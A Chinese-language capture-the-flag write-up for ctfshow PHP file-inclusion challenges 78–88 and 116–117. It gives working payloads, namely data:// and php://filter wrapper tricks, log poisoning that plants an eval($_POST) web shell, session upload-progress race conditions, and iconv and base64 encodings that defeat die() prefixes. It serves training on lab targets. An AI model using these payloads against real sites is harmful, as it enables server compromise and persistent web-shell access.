ctfshow 文件包含

文件包含

第七十八题
<?php
if(isset($_GET['file'])){
  $file = $_GET['file'];
  include($file);
}else{
  highlight_file(__FILE__);
}

利用data协议执行系统命令

data://text/plain,<?php system('cat flag.php');?>

查看源码获得flag,此处不能直接包含flag.php,因为flag.php文件里面没有输出flag变量(纯文件可以直接包含,include包含纯文件的时候直接html输出)

ctfshow 文件包含

第七十九题
<?php
if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

过滤了php关键字

利用data协议,标签的php关键字用短标签代替,文件名的php关键字用通配符代替

data://text/plain,<?=system('cat flag.???');>

查看源码获得flag

第八十题
<?php
if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

过滤了php,data,data协议和php伪协议用不了

利用包含日志文件getshell

向日志文件写入一句话

?file=<?=eval($_POST[1]);?> #需要用短标签

包含日志文件

?file=/var/log/nginx/access.log

蚁剑连接获得flag

第八十一题
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤增加了冒号

同上,包含日志文件getshell

第八十二题
<?php
if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  $file = str_replace(":", "???", $file);
  $file = str_replace(".", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

过滤多了点,无法包含日志文件

利用php默认配置生成session文件及条件竞争getshell

#php5.4以上默认配置
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.use_strict_mode=off

#第一条配置效果为服务端接收到文件时自动初始化session,并生成一个session文件记录文件的上传时间等信息
#第二条配置效果为上传文件结束后自动清理生成的session文件
#第三条配置和第四条配置组合起来成为生成的session文件中的一个键值   
#键值为upload_progress_表单PHP_SESSION_UPLOAD_PROGRESS值
#最后一条配置简单理解为Cookie中的PHPSESSID可以控制,生成的session文件名为sess_PHPSESSID值

本地构造数据包

<!DOCTYPE html>
<html>
<body>
<form action="http://7fd79180-0a7f-4a6f-b7be-58a18b0264db.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
    session_start();
?>

捉包修改PHPSESSID值(过滤了点,文件名不能带后缀),条件竞争生成文件

ctfshow 文件包含

包含生成的文件getshell(生成的文件在当前目录)

第八十三题
<?php
session_unset(); #释放当前在内存中已经创建的所有$_SESSION变量,但是不删除session文件以及不释放对应的session id 
session_destroy(); #删除当前用户对应的session文件以及释放session id,内存中$_SESSION变量内容依然保留
if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  $file = str_replace(":", "???", $file);
  $file = str_replace(".", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

同上,新增的两个函数无法完全防御条件竞争

第八十四题
<?php
if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  $file = str_replace(":", "???", $file);
  $file = str_replace(".", "???", $file);
  system("rm -rf /tmp/*");
  include($file);
}else{
  highlight_file(__FILE__);
}

新增了删除操作,仍然可以条件竞争

第八十五题
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){     #strpos() 函数查找字符串在另一字符串中第一次出现的位置。
            die("error");
        }
        include($file);
    }
}

过滤文件内容中的左尖括号,无法完全阻止条件竞争

第八十六题
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?); 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);  
}else{
    highlight_file(__FILE__);
}

set_include_path函数无法阻止条件竞争,绝对路径和相对路径都可用

第八十七题
<?php
if(isset($_GET['file'])){
  $file = $_GET['file'];
  $content = $_POST['content'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  $file = str_replace(":", "???", $file);
  $file = str_replace(".", "???", $file);
  file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); 
}else{
  highlight_file(__FILE__);
}

file_put_contents函数可以控制协议,利用php://filter协议getshell

base64解码只能识别 a-z0-9A-Z+] 六十四个字符

<?php die('大佬别秀了');?> #base解码只识别phpdie

base64解码以4个byte一组,phpdie加上两个字符恰好两组

payload如下:

?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30 #为php://filter/write=convert.base64-decode/resource=3.php的二次url编码

content=aaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4= #aa为与前面phpdie凑够8byte,后面的为<?php eval($_POST['a']);?>的base64编码
第八十八题
<?php
if(isset($_GET['file'])){
  $file = $_GET['file'];
  if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
    die("error");
  }
  include($file);
}else{
  highlight_file(__FILE__);
}

没有过滤冒号,可以使用data协议base64编码绕过

?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4 #64编码生成的=去掉
第一百一十六题

包含/var/www/html/index.php,得到源码

<?php
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>

data协议,php伪协议,日志文件,条件竞争都被过滤

直接包含flag.php获得flag

第一百一十七题
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
  if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
    die('too young too simple sometimes naive!');
  }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

把一些常用的编码和过滤器过滤了,属于绕过死亡die

iconv过滤器,效果等同iconv函数(函数作用为字符串按要求的字符编码来转换)

iconv(编码类型一,编码类型二,字符串) #把字符串从编码类型一转换为编码类型二

usc-2编码的作用是对目标字符串每两位进行一反转,因为是每两位进行一反转,所以字符串要为偶数位

$test = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[1]);?>');
echo "第一次转换:".$test;
$test = iconv("UCS-2LE","UCS-2BE", $test);
echo "第二次转换:".$test;

#第一次转换:?<hp pvela$(P_SO[T]1;)>?第二次转换:<?php eval($_POST[1]);?>

payload:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=2.php

contents=?<hp pvela$(P_SO[T]1;)>? #die经过编码转换后无效,一句话再次编码转换变回正常一句话

参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

​ https://www.wlhhlc.top/posts/14827/#web117

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MGrRPlMO-1622816747647)(C:\Users\0202\AppData\Roaming\Typora\typora-user-images\image-20210521235145919.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZYhPBrZ1-1622816747650)(C:\Users\0202\AppData\Roaming\Typora\typora-user-images\image-20210521235255170.png)]

上一篇:33. Django 2.1.7 模板 - 动态URL 反向解析


下一篇:shell echo 文本颜色